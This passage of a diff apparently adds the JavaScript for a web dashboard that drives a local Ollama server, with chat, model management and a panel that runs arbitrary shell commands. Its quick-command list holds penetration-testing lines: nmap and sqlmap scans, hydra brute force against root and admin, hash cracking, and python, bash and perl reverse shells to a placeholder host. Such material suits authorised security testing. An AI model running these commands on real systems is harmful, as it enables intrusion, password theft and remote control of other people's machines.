+ document.getElementById('status-dot').classList.add('online');
533
+ document.getElementById('status-text').textContent='CONNECTED';
534
+ log('Server online','success');
535
+ await loadModels(true); // silent load
536
+ }
537
+ } catch(e){
538
+ document.getElementById('status-dot').classList.remove('online');
539
+ document.getElementById('status-text').textContent='OFFLINE';
540
+ log('Server unreachable: '+e.message,'error');
541
+ }
542
+ }
543
+
544
+ // ─────────────────────────────────────────────
545
+ // MODEL MANAGEMENT
546
+ // ─────────────────────────────────────────────
547
+ async function loadModels(silent=false) {
548
+ try {
549
+ const r = await fetch(`${BASE}/api/tags`);
550
+ const data = await r.json();
551
+ const models = data.models || [];
552
+
553
+ // Update global select
554
+ const sel = document.getElementById('global-model');
555
+ const prev = sel.value;
556
+ sel.innerHTML = '<option value="">β€” select β€”</option>';
557
+ models.forEach(m=>{
558
+ const o = document.createElement('option');
559
+ o.value = m.name; o.textContent = m.name;
560
+ sel.appendChild(o);
561
+ });
562
+ if(prev) sel.value = prev;
563
+
564
+ // Update model grid
565
+ const grid = document.getElementById('model-grid');
566
+ if(!models.length){
567
+ grid.innerHTML='<div class="no-models"><div class="icon">πŸ“¦</div><div style="font-size:12px;letter-spacing:1px">No models. Pull one above.</div></div>';
568
+ return;
569
+ }
570
+ grid.innerHTML = models.map(m=>`
571
+ <div class="model-card ${currentModel===m.name?'active-model':''}" onclick="selectModel('${m.name}')">
572
+ <div class="model-name">${m.name}</div>
573
+ <div class="model-meta">
574
+ <span>πŸ’Ύ ${fmt(m.size)}</span>
575
+ ${m.details?.parameter_size?`<span>πŸ”’ ${m.details.parameter_size}</span>`:''}
576
+ ${m.details?.quantization_level?`<span>⚑ ${m.details.quantization_level}</span>`:''}
577
+ </div>
578
+ <div class="model-actions">
579
+ <button class="m-btn use" onclick="event.stopPropagation();selectModel('${m.name}')">USE</button>
580
+ <button class="m-btn del" onclick="event.stopPropagation();deleteModel('${m.name}')">DELETE</button>
581
+ </div>
582
+ </div>`).join('');
583
+
584
+ if(!silent) log(`Loaded ${models.length} models`,'info');
585
+ } catch(e){
586
+ if(!silent) log('Failed to load models: '+e.message,'error');
587
+ }
588
+ }
589
+
590
+ function selectModel(name){
591
+ currentModel = name;
592
+ document.getElementById('global-model').value = name;
593
+ document.getElementById('chat-model-badge').textContent = name;
594
+ toast('Model: '+name,'success');
595
+ log('Active model β†’ '+name,'success');
596
+ loadModels(true);
597
+ }
598
+
599
+ document.getElementById('global-model').addEventListener('change',function(){
600
+ if(this.value) selectModel(this.value);
601
+ });
602
+
603
+ async function deleteModel(name){
604
+ if(!confirm(`Delete model "${name}"?`)) return;
605
+ try {
606
+ await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
607
+ toast('Deleted: '+name,'error');
608
+ log('Deleted model: '+name,'warn');
609
+ loadModels();
610
+ if(currentModel===name){currentModel='';document.getElementById('global-model').value='';}
611
+ } catch(e){
612
+ toast('Delete failed','error');log('Delete error: '+e.message,'error');
613
+ }
614
+ }
615
+
616
+ async function pullModel(){
617
+ const name = document.getElementById('pull-input').value.trim();
618
+ if(!name){toast('Enter a model name','error');return;}
619
+
620
+ const prog = document.getElementById('pull-progress');
621
+ const bar = document.getElementById('pull-bar');
622
+ const status = document.getElementById('pull-status');
623
+ const label = document.getElementById('pull-model-name');
624
+ prog.classList.add('visible');
625
+ label.textContent = `Pulling: ${name}`;
626
+ bar.style.width='0%'; status.textContent='Starting...';
627
+ log(`Pulling model: ${name}`,'info');
628
+
629
+ try {
630
+ const r = await fetch(`${BASE}/api/pull`,{
631
+ method:'POST',headers:{'Content-Type':'application/json'},
632
+ body:JSON.stringify({name})
633
+ });
634
+ const reader = r.body.getReader();
635
+ const dec = new TextDecoder();
636
+ let buf='';
637
+ while(true){
638
+ const {done,value}=await reader.read();
639
+ if(done) break;
640
+ buf+=dec.decode(value,{stream:true});
641
+ const lines=buf.split('\n'); buf=lines.pop();
642
+ for(const line of lines){
643
+ if(!line.trim()) continue;
644
+ try{
645
+ const d=JSON.parse(line);
646
+ status.textContent=d.status||'...';
647
+ if(d.total&&d.completed){
648
+ const pct=Math.round(d.completed/d.total*100);
649
+ bar.style.width=pct+'%';
650
+ }
651
+ }catch(e){}
652
+ }
653
+ }
654
+ prog.classList.remove('visible');
655
+ bar.style.width='100%';
656
+ toast('βœ“ Pulled: '+name,'success');
657
+ log('Pull complete: '+name,'success');
658
+ document.getElementById('pull-input').value='';
659
+ loadModels();
660
+ } catch(e){
661
+ prog.classList.remove('visible');
662
+ toast('Pull failed','error'); log('Pull error: '+e.message,'error');
663
+ }
664
+ }
665
+
666
+ // Enter on pull input
667
+ document.getElementById('pull-input').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel()});
668
+
669
+ // ─────────────────────────────────────────────
670
+ // CHAT
671
+ // ─────────────────────────────────────────────
672
+ function clearChat(){
673
+ chatHistory=[];
674
+ const msgs=document.getElementById('chat-messages');
675
+ msgs.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">OLLAMA</div><div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div></div>';
676
+ log('Chat cleared');
677
+ }
678
+
679
+ function appendMsg(role, text, streaming=false){
680
+ const empty=document.getElementById('chat-empty');
681
+ if(empty) empty.remove();
682
+ const msgs=document.getElementById('chat-messages');
683
+ const wrap=document.createElement('div');
684
+ wrap.className=`msg ${role}`;
685
+ const av=document.createElement('div');
686
+ av.className='msg-avatar';
687
+ av.textContent=role==='user'?'YOU':'AI';
688
+ const bub=document.createElement('div');
689
+ bub.className=`msg-bubble${streaming?' streaming':''}`;
690
+ bub.textContent=text;
691
+ const time=document.createElement('div');
692
+ time.className='msg-time'; time.textContent=now();
693
+ const inner=document.createElement('div');
694
+ inner.appendChild(bub); inner.appendChild(time);
695
+ wrap.appendChild(av); wrap.appendChild(inner);
696
+ msgs.appendChild(wrap);
697
+ msgs.scrollTop=msgs.scrollHeight;
698
+ return bub;
699
+ }
700
+
701
+ async function sendChat(){
702
+ const input=document.getElementById('chat-input');
703
+ const text=input.value.trim();
704
+ if(!text) return;
705
+ if(!currentModel){toast('Select a model first','error');return;}
706
+
707
+ input.value=''; input.style.height='';
708
+ document.getElementById('send-btn').disabled=true;
709
+ log(`Chat β†’ ${currentModel}: "${text.slice(0,40)}..."`,'info');
710
+
711
+ appendMsg('user', text);
712
+ chatHistory.push({role:'user',content:text});
713
+
714
+ const bubble=appendMsg('ai','',true);
715
+ let fullText='';
716
+
717
+ try {
718
+ const r=await fetch(`${BASE}/api/chat`,{
719
+ method:'POST',headers:{'Content-Type':'application/json'},
720
+ body:JSON.stringify({model:currentModel,messages:chatHistory,stream:true})
721
+ });
722
+ const reader=r.body.getReader();
723
+ const dec=new TextDecoder();
724
+ let buf='';
725
+ while(true){
726
+ const {done,value}=await reader.read();
727
+ if(done) break;
728
+ buf+=dec.decode(value,{stream:true});
729
+ const lines=buf.split('\n'); buf=lines.pop();
730
+ for(const line of lines){
731
+ if(!line.trim()) continue;
732
+ try{
733
+ const d=JSON.parse(line);
734
+ const token=d.message?.content||'';
735
+ fullText+=token;
736
+ bubble.textContent=fullText;
737
+ document.getElementById('chat-messages').scrollTop=9999;
738
+ if(d.done) break;
739
+ }catch(e){}
740
+ }
741
+ }
742
+ bubble.classList.remove('streaming');
743
+ chatHistory.push({role:'assistant',content:fullText});
744
+ log(`AI responded (${fullText.length} chars)`,'success');
745
+ } catch(e){
746
+ bubble.textContent='Error: '+e.message;
747
+ bubble.classList.remove('streaming');
748
+ bubble.style.color='var(--danger)';
749
+ log('Chat error: '+e.message,'error');
750
+ }
751
+ document.getElementById('send-btn').disabled=false;
752
+ input.focus();
753
+ }
754
+
755
+ // Chat input handlers
756
+ const chatInput=document.getElementById('chat-input');
757
+ chatInput.addEventListener('keydown',e=>{
758
+ if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}
759
+ });
760
+ chatInput.addEventListener('input',function(){
761
+ this.style.height='auto';
762
+ this.style.height=Math.min(this.scrollHeight,120)+'px';
763
+ });
764
+
765
+ // ─────────────────────────────────────────────
766
+ // SHELL
767
+ // ─────────────────────────────────────────────
768
+ function clearShell(){
769
+ document.getElementById('shell-output').innerHTML='<div class="shell-empty-msg">// cleared</div>';
770
+ }
771
+
772
+ function setShellCmd(cmd){
773
+ document.getElementById('shell-input').value=cmd;
774
+ document.getElementById('shell-input').focus();
775
+ }
776
+
777
+ function appendShellLine(text,cls='shell-line'){
778
+ const out=document.getElementById('shell-output');
779
+ // Remove empty placeholder
780
+ const placeholder=out.querySelector('.shell-empty-msg');
781
+ if(placeholder) placeholder.remove();
782
+ const line=document.createElement('div');
783
+ line.className=cls;
784
+ line.textContent=text;
785
+ out.appendChild(line);
786
+ out.scrollTop=out.scrollHeight;
787
+ return line;
788
+ }
789
+
790
+ async function runShell(){
791
+ const input=document.getElementById('shell-input');
792
+ const cmd=input.value.trim();
793
+ if(!cmd||shellRunning) return;
794
+
795
+ shellHistory.unshift(cmd);
796
+ shellHistoryIdx=-1;
797
+ input.value='';
798
+
799
+ shellRunning=true;
800
+ shellController=new AbortController();
801
+ document.getElementById('run-btn').disabled=true;
802
+ document.getElementById('kill-btn').classList.add('visible');
803
+
804
+ appendShellLine('$ '+cmd,'shell-cmd-echo');
805
+ log(`Shell: ${cmd}`,'info');
806
+
807
+ try {
808
+ const r=await fetch(`${BASE}/shell`,{
809
+ method:'POST',
810
+ headers:{'Content-Type':'application/json'},
811
+ body:JSON.stringify({cmd}),
812
+ signal:shellController.signal,
813
+ });
814
+
815
+ const reader=r.body.getReader();
816
+ const dec=new TextDecoder();
817
+ let buf='';
818
+
819
+ while(true){
820
+ const {done,value}=await reader.read();
821
+ if(done) break;
822
+ buf+=dec.decode(value,{stream:true});
823
+ // flush complete lines immediately
824
+ const lines=buf.split('\n');
825
+ buf=lines.pop(); // keep partial line
826
+ for(const line of lines){
827
+ appendShellLine(line);
828
+ }
829
+ }
830
+ if(buf) appendShellLine(buf);
831
+ appendShellLine('','shell-exit-ok');
832
+ log('Shell done','success');
833
+ } catch(e){
834
+ if(e.name!=='AbortError'){
835
+ appendShellLine('Error: '+e.message,'shell-exit-err');
836
+ log('Shell error: '+e.message,'error');
837
+ } else {
838
+ appendShellLine('[killed by user]','shell-exit-err');
839
+ }
840
+ }
841
+
842
+ shellRunning=false;
843
+ shellController=null;
844
+ document.getElementById('run-btn').disabled=false;
845
+ document.getElementById('kill-btn').classList.remove('visible');
846
+ input.focus();
847
+ }
848
+
849
+ function killShell(){
850
+ if(shellController){
851
+ shellController.abort();
852
+ toast('Process killed','error');
853
+ log('Shell process killed','warn');
854
+ }
855
+ }
856
+
857
+ // Shell input: enter to run, up/down for history
858
+ document.getElementById('shell-input').addEventListener('keydown',e=>{
859
+ if(e.key==='Enter'){runShell();return;}
860
+ if(e.key==='ArrowUp'){
861
+ e.preventDefault();
862
+ if(shellHistoryIdx<shellHistory.length-1){
863
+ shellHistoryIdx++;
864
+ e.target.value=shellHistory[shellHistoryIdx]||'';
865
+ }
866
+ }
867
+ if(e.key==='ArrowDown'){
868
+ e.preventDefault();
869
+ if(shellHistoryIdx>0){shellHistoryIdx--;e.target.value=shellHistory[shellHistoryIdx]||'';}
870
+ else{shellHistoryIdx=-1;e.target.value='';}
871
+ }
872
+ });
873
+
874
+ // ─────────────────────────────────────────────
875
+ // KALI TOOL CATEGORIES
876
+ // ─────────────────────────────────────────────
877
+ const KALI_CMDS = {
878
+ system: [
879
+ {label:'uname -a', cmd:'uname -a'},
880
+ {label:'os-release', cmd:'cat /etc/os-release'},
881
+ {label:'kali version', cmd:'cat /etc/kali_version 2>/dev/null || lsb_release -a'},
882
+ {label:'ls -la', cmd:'ls -la'},
883
+ {label:'df -h', cmd:'df -h'},
884
+ {label:'free -h', cmd:'free -h'},
885
+ {label:'top', cmd:'top -bn1 | head -25'},
886
+ {label:'htop snap', cmd:'htop -d 1 2>/dev/null | head -30 || top -bn1 | head -25'},
887
+ {label:'ps aux', cmd:'ps aux --sort=-%cpu | head -20'},
888
+ {label:'nvidia-smi', cmd:'nvidia-smi'},
889
+ {label:'cpu info', cmd:'lscpu | head -20'},
890
+ {label:'env', cmd:'env | sort'},
891
+ {label:'uptime', cmd:'uptime'},
892
+ {label:'whoami', cmd:'whoami && id'},
893
+ {label:'installed tools', cmd:'dpkg -l | grep -E "nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz" | awk '{print $2, $3}''},
894
+ ],
895
+ recon: [
896
+ {label:'nmap -sV HOST', cmd:'nmap -sV -sC --open TARGET_IP'},
897
+ {label:'nmap full scan', cmd:'nmap -p- -T4 TARGET_IP'},
898
+ {label:'nmap UDP', cmd:'nmap -sU --top-ports 100 TARGET_IP'},
899
+ {label:'nmap OS detect', cmd:'nmap -O TARGET_IP'},
900
+ {label:'nmap scripts', cmd:'nmap --script=vuln TARGET_IP'},
901
+ {label:'dnsrecon', cmd:'dnsrecon -d TARGET_DOMAIN'},
902
+ {label:'dnsenum', cmd:'dnsenum TARGET_DOMAIN'},
903
+ {label:'fierce', cmd:'fierce --domain TARGET_DOMAIN'},
904
+ {label:'theharvester', cmd:'theHarvester -d TARGET_DOMAIN -b all'},
905
+ {label:'whois', cmd:'whois TARGET_DOMAIN'},
906
+ {label:'host lookup', cmd:'host TARGET_DOMAIN'},
907
+ {label:'dig full', cmd:'dig TARGET_DOMAIN ANY +noall +answer'},
908
+ {label:'recon-ng start', cmd:'recon-ng'},
909
+ {label:'shodan search', cmd:'echo "Visit https://shodan.io for TARGET_DOMAIN"'},
910
+ ],
911
+ web: [
912
+ {label:'nikto scan', cmd:'nikto -h http://TARGET_IP'},
913
+ {label:'gobuster dirs', cmd:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'},
914
+ {label:'gobuster vhosts', cmd:'gobuster vhost -u http://TARGET_DOMAIN -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt'},
915
+ {label:'dirb scan', cmd:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'},
916
+ {label:'sqlmap GET', cmd:'sqlmap -u "http://TARGET_IP/page?id=1" --dbs --batch'},
917
+ {label:'sqlmap POST', cmd:'sqlmap -u "http://TARGET_IP/login" --data="user=a&pass=b" --dbs --batch'},
918
+ {label:'wfuzz fuzz', cmd:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'},
919
+ {label:'whatweb', cmd:'whatweb http://TARGET_IP'},
920
+ {label:'ffuf dirs', cmd:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302'},
921
+ {label:'curl headers', cmd:'curl -I http://TARGET_IP'},
922
+ {label:'wordlists ls', cmd:'ls /usr/share/wordlists/'},
923
+ {label:'seclists', cmd:'ls /usr/share/wordlists/seclists/ 2>/dev/null || echo "Not installed"'},
924
+ ],
925
+ network: [
926
+ {label:'ip addr', cmd:'ip addr show'},
927
+ {label:'ip route', cmd:'ip route show'},
928
+ {label:'netstat', cmd:'netstat -tulnp 2>/dev/null || ss -tulnp'},
929
+ {label:'ss -tulnp', cmd:'ss -tulnp'},
930
+ {label:'ping gw', cmd:'ping -c 4 $(ip route | grep default | awk '{print $3}')'},
931
+ {label:'arp scan', cmd:'arp-scan --localnet 2>/dev/null || echo "Install: apt install arp-scan"'},
932
+ {label:'tcpdump iface', cmd:'tcpdump -i any -c 20 -n'},
933
+ {label:'nc listen', cmd:'nc -lvnp 4444'},
934
+ {label:'nc connect', cmd:'nc TARGET_IP PORT'},
935
+ {label:'tshark capture', cmd:'tshark -i any -c 50'},
936
+ {label:'traceroute', cmd:'traceroute TARGET_IP'},
937
+ {label:'netdiscover', cmd:'netdiscover -r 192.168.1.0/24 -P 2>/dev/null | head -30'},
938
+ {label:'masscan', cmd:'masscan -p1-65535 TARGET_IP --rate=1000 2>/dev/null || echo "Install: apt install masscan"'},
939
+ ],
940
+ exploit: [
941
+ {label:'msfconsole', cmd:'msfconsole -q -x "version; exit"'},
942
+ {label:'msf db status', cmd:'msfdb status 2>/dev/null'},
943
+ {label:'searchsploit', cmd:'searchsploit apache 2.4'},
944
+ {label:'exploitdb list', cmd:'ls /usr/share/exploitdb/exploits/ | head -20'},
945
+ {label:'msfvenom payloads',cmd:'msfvenom -l payloads | head -30'},
946
+ {label:'msfvenom shell', cmd:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'},
947
+ {label:'python revshell', cmd:'echo "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"'},
948
+ {label:'bash revshell', cmd:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'},
949
+ {label:'perl revshell', cmd:'echo "perl -e 'use Socket;$i=\"LHOST_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"'},
950
+ {label:'linpeas dl', cmd:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && echo Done'},
951
+ {label:'pspy dl', cmd:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && echo Done'},
952
+ {label:'suid bins', cmd:'find / -perm -u=s -type f 2>/dev/null'},
953
+ {label:'sudo -l', cmd:'sudo -l 2>/dev/null'},
954
+ {label:'crontab', cmd:'cat /etc/crontab && ls /etc/cron*'},
955
+ ],
956
+ password: [
957
+ {label:'john hash', cmd:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'},
958
+ {label:'john show', cmd:'john --show /tmp/hash.txt'},
959
+ {label:'hashcat md5', cmd:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
960
+ {label:'hashcat sha1', cmd:'hashcat -m 100 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
961
+ {label:'hashcat ntlm', cmd:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
962
+ {label:'hydra ssh', cmd:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'},
963
+ {label:'hydra http', cmd:'hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "TARGET_IP/login:username=^USER^&password=^PASS^:Invalid"'},
964
+ {label:'hydra ftp', cmd:'hydra -l root -P /usr/share/wordlists/rockyou.txt ftp://TARGET_IP'},
965
+ {label:'medusa ssh', cmd:'medusa -h TARGET_IP -u root -P /usr/share/wordlists/rockyou.txt -M ssh'},
966
+ {label:'crunch wordlist', cmd:'crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/custom.txt'},
967
+ {label:'rockyou.txt', cmd:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
968
+ {label:'identify hash', cmd:'echo "PASTE_HASH_HERE" | hash-identifier 2>/dev/null || echo "Tool: haiti, hashid"'},
969
+ ],
970
+ forensics: [
971
+ {label:'file check', cmd:'file /tmp/*'},
972
+ {label:'strings', cmd:'strings /tmp/TARGET_FILE | head -50'},
973
+ {label:'xxd hex dump', cmd:'xxd /tmp/TARGET_FILE | head -30'},
974
+ {label:'binwalk', cmd:'binwalk /tmp/TARGET_FILE'},
975
+ {label:'binwalk extract', cmd:'binwalk -e /tmp/TARGET_FILE'},
976
+ {label:'exiftool', cmd:'exiftool /tmp/TARGET_FILE'},
977
+ {label:'steghide info', cmd:'steghide info /tmp/TARGET_FILE'},
978
+ {label:'steghide extract',cmd:'steghide extract -sf /tmp/TARGET_FILE'},
979
+ {label:'foremost carve', cmd:'foremost -i /tmp/TARGET_FILE -o /tmp/foremost_out'},
980
+ {label:'volatility info', cmd:'volatility -f /tmp/TARGET_FILE imageinfo 2>/dev/null || echo "volatility not installed"'},
981
+ {label:'tcpdump read', cmd:'tcpdump -r /tmp/TARGET.pcap | head -30'},
982
+ {label:'tshark read', cmd:'tshark -r /tmp/TARGET.pcap | head -30'},
983
+ {label:'ls /proc', cmd:'ls /proc/'},
984
+ {label:'dmesg', cmd:'dmesg | tail -30'},
985
+ ],
986
+ ollama: [
987
+ {label:'list models', cmd:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'},
988
+ {label:'ollama list', cmd:'ollama list'},
989
+ {label:'ollama ps', cmd:'ollama ps'},
990
+ {label:'ollama version', cmd:'ollama version'},
991
+ {label:'ollama procs', cmd:'ps aux | grep ollama'},
992
+ {label:'ollama logs', cmd:'journalctl -u ollama -n 50 2>/dev/null || tail -50 /var/log/ollama.log 2>/dev/null'},
993
+ {label:'pull tinyllama', cmd:'ollama pull tinyllama'},
994
+ {label:'pull phi3', cmd:'ollama pull phi3'},
995
+ {label:'pull mistral', cmd:'ollama pull mistral'},
996
+ {label:'run tinyllama', cmd:'ollama run tinyllama "Hello, who are you?"'},
997
+ {label:'gpu info', cmd:'nvidia-smi 2>/dev/null || echo "No GPU / nvidia-smi not found"'},
998
+ {label:'disk usage', cmd:'du -sh ~/.ollama/models/ 2>/dev/null'},
999
+ {label:'api health', cmd:'curl -s http://localhost:11434/ && echo'},
1000
+ ],
1001
+ };
1002
+
1003
+ let currentCat = 'system';
1004
+ function switchCat(btn, cat) {
1005
+ document.querySelectorAll('.cat-tab').forEach(b=>b.classList.remove('active'));
1006
+ btn.classList.add('active');
1007
+ currentCat = cat;
1008
+ renderQuickCmds(cat);
1009
+ }
1010
+ function renderQuickCmds(cat) {
1011
+ const cmds = KALI_CMDS[cat] || [];
1012
+ const container = document.getElementById('quick-cmds');
1013
+ container.innerHTML = cmds.map(c =>
1014
+ `<span class="qcmd" title="${c.cmd}" onclick="setShellCmd(${JSON.stringify(c.cmd)})">${c.label}</span>`
1015
+ ).join('');
1016
+ }
1017
+
1018
+ // ─────────────────────────────────────────────
1019
+ // INIT
1020
+ // ─────────────────────────────────────────────
1021
+ checkStatus();
1022
+ setInterval(checkStatus, 30000); // ping every 30s
1023
+ renderQuickCmds('system'); // load default kali cmds
1024
+ </script>
1025
+ </body>
1026
+ </html>